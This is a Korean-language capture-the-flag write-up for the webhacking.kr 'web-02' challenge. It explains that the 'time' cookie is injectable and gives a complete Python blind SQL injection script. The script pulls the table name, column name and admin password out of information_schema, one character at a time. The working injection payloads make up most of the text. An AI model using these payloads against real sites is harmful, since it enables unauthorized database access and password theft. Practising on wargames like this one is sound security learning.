문제를 들어가보면 위와 같은 문구가 보인다.
문제 분석
소스코드를 확인해보니 현재 시간과 admin.php 페이지에 접속하면 거부할 거라는 주석을 확인할 수 있다.
admin.php에 접속해보면 password를 입력할 수 있다. 따라서 admin페이지의 password를 알아내야 한다.
문제 풀이
처음엔 admin페이지에서 sql injection을 아무런 반응이 없다
따라서 다른 부분에서 취약점을 찾아야한다.
쿠키에 time이 있는데 이 값을 수정해주면 주석에 있던 값이 변하는 것을 확인할 수 있다.
여기에 sql 구문을 입력해보면 올바르게 동작하는 것을 알 수 있다.
따라서 cookie를 이용하여 blind sql injection을 시도하면 password를 획득할 수 있다.
Exploit Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookies = {'PHPSESSID':'사용자 세션 값'}
def calculate_time(response):
val=0
val+=60*int(response.text[20])
val+=10*int(response.text[22])
val+=int(response.text[23])
return val
def calc_table_len():
cookies['time'] = '(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)'
r = requests.get(url=url, cookies=cookies)
return calculate_time(r)
def find_table_name(table_len):
name = ''
for i in range(table_len+1):
cookies['time'] = f'(select ascii(substr(table_name,{str(i)},1)) from information_schema.tables where table_schema=database() limit 0,1)'
r = requests.get(url=url, cookies=cookies)
name += chr(calculate_time(r))
print(name)
return name
def find_column_len(table_name):
cookies['time']= f"(select length(column_name) from information_schema.columns where table_name='{table_name}')"
response=requests.get(url, cookies=cookies)
c_name_length=int(calculate_time(response))
print(c_name_length)
return c_name_length
def find_column_name(column_len, table_name):
name = ''
for i in range(1,column_len+1):
cookies['time'] = f"(select ascii(substr(column_name,{str(i)},1)) from information_schema.columns where table_name='{table_name}')"
r = requests.get(url=url, cookies=cookies)
name += chr(calculate_time(r))
print(name)
return name
def find_pw(column_name, table_name):
pw = ''
for i in range(1,100):
cookies['time'] = f"(select ascii(substr({column_name},{str(i)},1)) from {table_name})"
r = requests.get(url=url, cookies=cookies)
pw += chr(calculate_time(r))
print(pw)
if __name__ == "__main__":
table_len = calc_table_len()
table_name = find_table_name(table_len)
column_len = find_column_len(table_name)
column_name = find_column_name(column_len, table_name)
find_pw(column_name, table_name)
password를 알아내서 adimn페이지에 로그인 하면 문제를 풀 수 있다.